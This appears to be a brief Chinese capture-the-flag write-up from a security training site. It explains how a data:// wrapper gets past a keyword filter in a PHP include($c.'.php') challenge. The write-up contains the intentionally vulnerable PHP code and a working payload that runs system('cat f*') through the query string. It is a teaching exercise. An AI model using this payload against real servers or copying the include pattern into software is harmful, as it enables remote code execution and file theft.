命令执行:include($c.”.php”)的绕过

代码如下:

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

看似被.php吓住了,但实际十分简单,只要使用:data://text/plain

这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

payload:

?c=data://text/plain,<?php system(“cat f*”); ?>

Tips:鼠标经过代码时会出现工具栏,工具栏上方有一键复制代码的功能哦~天云网络培训,专注于网络空间安全相关培训,并提供相关课程的在线培训 报名微信 tyedu1
天云网络培训 » 命令执行:include($c.”.php”)的绕过

提供专业、易懂、平民化教育。让每个热爱网络的人有个归宿

立即查看 了解详情